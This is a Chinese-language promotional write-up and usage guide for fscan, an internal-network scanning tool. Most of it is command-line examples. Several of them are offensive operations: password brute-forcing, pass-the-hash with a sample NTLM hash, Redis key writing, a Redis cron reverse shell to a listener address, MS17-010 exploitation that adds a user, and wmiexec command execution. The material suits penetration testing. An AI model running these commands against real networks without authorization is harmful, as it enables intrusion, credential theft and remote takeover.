一键掌控内网安全：全方位漏洞扫描，轻松搞定！ 这款工具集成了主机存活探测、端口扫描、漏洞检测等多种功能，能快速、准确地发现内网中的安全隐患。一键启动，即可完成全面的安全评估。
特性
-
信息搜集：
- 通过 ICMP 进行存活探测和端口扫描。
-
爆破功能：
- 支持多种服务（如 SSH、SMB、RDP 等）和数据库（如 MySQL、MSSQL、Redis、PostgreSQL、Oracle 等）密码爆破。
-
系统信息与漏洞扫描：
- 包括 NetBIOS 探测、域控识别、获取网卡信息、扫描高危漏洞（如 MS17-010）。
-
Web 探测功能：
- 包括 WebTitle 探测、常见 CMS 和 OA 框架的指纹识别，以及 Web 漏洞扫描（如 WebLogic、Struts2）。
-
漏洞利用：
- 如利用 Redis 写入公钥、SSH 命令执行和 MS17-017 漏洞利用等。
-
其他功能：
- 支持文件保存等操作。
安装
下载对应版本，命令用法
# 简单用法
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
# 其他用法
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
